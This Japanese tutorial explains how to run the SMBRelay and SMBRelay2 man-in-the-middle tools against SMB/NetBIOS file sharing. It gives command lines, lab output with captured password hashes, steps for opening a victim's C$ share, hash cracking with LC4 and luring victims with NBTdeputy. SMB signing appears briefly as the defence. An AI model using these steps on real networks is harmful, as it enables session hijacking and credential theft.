b o g u s. j p
SMBRelayについての覚え書き
はじめに
最近久しぶりにSMBrelayを使ってみようとしたところ、日本語のドキュメントが見当たらなかったので書いておきます。書籍にはいろいろ書かれていたはずなので、お金のある人はそっちを見といてください。もちろんこのドキュメントを見て悪いことをしても(できるとは思いませんが)責任はとりませんのであしからず。
SMBrelayとは
SMBrelayはNBTプロトコルに対する中間者(Man-in-Middle)攻撃を行いSMBセッションをハイジャックするツールです。中間者攻撃を行うことによってパスワード制限のかかった共有ファイルへのアクセスが可能になったり、やり取りされているストリームデータを取得することができたりします。
cDc(Cult of the Dead Cow)Sir Dysticという人が開発したのですが、別にそれほど知る必要はありませんね。
SMBRelayのありかはここですが、他にも適当に検索すると見つかるでしょう。
SMBRelayの使い方
SMBrelayを使う前にマシンのNBT(137,138/udp, 139/tcp)とダイレクト SMB(445/tcp,udp)を無効化するように設定したほうがいいでしょう。具体的には、Microsoftネットワーク用ファイルとプリンタ共有のチェックを外してください。別に他のIPアドレスで待ち受ける分には(後述)チェックは外さなくても動きます。

さて、SMBrelayですが、コマンドラインで使います。GUIでないといやだ、という人は消えてください。我慢できる人はコマンドラインから
c:\smbrelay /オプション
で実行してください。

SMBRelayのオプション
c:\smbrelay /h
など間違ったオプションを指定することでオプションのリストが出ます。オプションを指定しないといきなりデフォルトオプションで実行してしまうので意外と不親切です。
以下、SMBRelayのオプションについて説明しておきます。
SMBRelayのオプション
/L[+] IPアドレス
入力側のIPアドレスを設定する。NBTを別に使うようになっているとしてあると(普通してるはず)エラーになって起動できないので/L+で別のIPアドレスを設定してやる。デフォルトは今のIPアドレスになる。
/R[-] IPアドレス
リレーする(覗き見する)IPアドレスを設定する。何も設定しないと\\192.1.1.1にリレーされる。
/S マシン名
マシン名を設定する。設定しないとCDC4EVERとセットされる。
/E
NICのインデックスを表示する。何もないとループバックと自分のNICの2つが表示される。NICがいっぱいあると見る必要があるかも。
/IL num
入力側のNIC番号を設定する
/IR num
リレー側のNIC番号を設定する。デフォルトの1はループバックになると思われ。
/D num
デバッグレベルの設定(0,1,2の設定が可能)。デフォルトは0。使ったことないのでよくわかりません。
SMBRelayを使ってみる
C:\smbrelay /L+ 192.168.0.7 /S BOGUS /R 192.168.0.9 /D 2 /IR 2
とコマンドを打つと、\\192.168.0.7で待ち受けを始めますので、誰かが共有にアクセスするまで気長に待ちます。そして、ターゲットがアクセスすると、\\192.168.0.9にターゲットの共有がリレーされて自由にアクセスできるようになります。
アクセスされるとコマンドラインにこんな感じに表示されていきます。
C:\smbrelay /L+ 192.168.0.7 /S BOGUS /R 192.168.0.9 /D 2 /IR 2
SMBRelay v0.981 - TCP (NetBT) level SMB man-in-the-middle relay attack
Copyright 2001: Sir Dystic, Cult of the Dead Cow
Send complaints, ideas and donations to sirdystic@cultdeadcow.com
Using local adapter index 2: AMD PCNET Family Ethernet Adapter
Using relay adapter index 2: AMD PCNET Family Ethernet Adapter
Local IP address added to interface 2
Bound to port 139 on address 192.168.0.7
Connection from 192.168.0.2:1519
Request type: Session Request 72 bytes
Source name: STAN <00>
Target name: *SMBSERVER <20>
Setting target name to source name and source name to 'BOGUS'...
Response: Positive Session Response 4 bytes

Request type: Session Message 137 bytes
SMB_COM_NEGOTIATE
Response: Session Message 119 bytes
Challenge (8 bytes): D82DD77D7D662512

Request type: Session Message 268 bytes
SMB_COM_SESSION_SETUP_ANDX
Password lengths: 24 24
Case insensitive password: 97A393495B8157BAB8752C9105007EA54F9577FBEB00D0C8
Case sensitive password: 05C5D854E48FE249B14B30220AFFEE9AE98BFCA9FE11C5C8
Username: "tony"
Domain: "STAN"
OS: "Windows 2000 2195"
Lanman type: "Windows 2000 5.0"
???: ""
Response: Session Message 162 bytes
OS: "Windows 5.0"
Lanman type: "Windows 2000 LAN Manager"
Domain: "INTERNETMANIA"

Connection rejected: 192.168.0.2 already connected
Password hash written to disk
Connected?
Relay IP address added to interface 2
Bound to port 139 on address 192.168.0.9 relaying for host STAN 192.168.0.2
Connection from 192.168.204.1:1521
Connection from 192.168.112.1:1520
ターゲットの共有にアクセスするにはエクスプローラのアドレスバーに
\\192.168.0.9\c$
と入力してやると相手の権限次第で運が良ければCドライブの中身を全部見ることができます。相手のパスワードもユーザー名もわからないのに不思議ですね。
また、アクセスがあるとhashes.txtに相手のNTLMハッシュ(?)が書き出されるので、パスワードを解析したいならば、それをLC4などのパスクラッカーにかければいいようです。
SMBrelay2
SMBrelayはIPアドレスで待ち受けていましたが、SMBrelay2は名前ベースで接続することを可能としたものです。SMBrelay2のありかはここを紹介しておきますが、他にも適当に検索すると見つかるでしょう。
SMBRelay2のオプション
SMBRelay2もSMBRelayと同様に
C:\smbrelay2 /h
でオプションのリストが出ます。
/L コンピュータ名
 待ち受けるコンピュータ名を設定する。デフォルトは\\SERVERになる。
/R コンピュータ名
 リレーするコンピュータ名を設定する。何も設定しないと\\RELAYにリレーされる。
/S コンピュータ名
 コンピュータ名を設定する。設定しないとCDC4EVERとセットされる。
/T マシン名
 ターゲットのコンピュータ名を指定する。
/D num
 デバッグレベルの設定(0-3の設定が可能)。デフォルトは0。使ったことないのでよくわかりません。
/A LanaNum
 LanaNumを使います。デフォルトは0です。
使用例
SMBrelay2はコマンドラインで
C:\smbrelay2
だけで勝手に待ち受けを始めてくれます。デフォルトの囮サーバーは\\SERVER、リレー先は\\RELAYです。これでラクチンなのですが、ここは明示的に
C:\smbrelay2 /S BOGUS /R RELAY
としておきます。\\BOGUSが囮サーバーとなり、\\RELAYに相手の共有はリレーされることになります。
これで、ターゲットのホスト(\\TARGET)が\\BOGUSにアクセスすると\\TARGETが\\RELAYとして勝手に共有されます。すると\\TARGETの共有が\\RELAYとして見られるようになります。このように基本的にはSMBrelayと変わりません。
Microsoftネットワーク用ファイルとプリンタ共有のチェックを外さなくても使えますが、囮サーバー側から\\RELAYを見ることができません。なお、他の第三者のサーバーだと\\ RELAYは丸見えです。チェックを外すと囮サーバーからも\\RELAYをいじくりまわすことは可能です。
NBTdeputy
LANから直IPで共有ファイルにアクセスしたり、直接\\SERVERと打ち込む奴はいないと思われますので、SMBRelay/SMBRelay2を使って悪事を働くということはあまり現実的ではありませんが、SecurityFridayから発表されているNBTdeputyを使って、SMBrelayで指定したものと同じコンピュータ名とIPアドレスをネットワークへ登録することで、名前がエクスプローラから見えるようになります。これでより一層アクセスしてくれる可能性が高まるかもしれません。
SMBRelayを使えないようにするためには
SMBRelayを使えないようにするためにはSMB署名という手段と使えばいいでしょう。SMB署名についてはいはらさんのところに詳しく書かれていますので、そこをご覧になるといいと思います。
終わりに
今ひとつよくわからないながら実験しつつ書いていましたが、理解不足の点や間違いもあると思います。間違いやよくわからないところがございましたらご指摘ください。一緒に悩みましょう。

produced by bogus.jp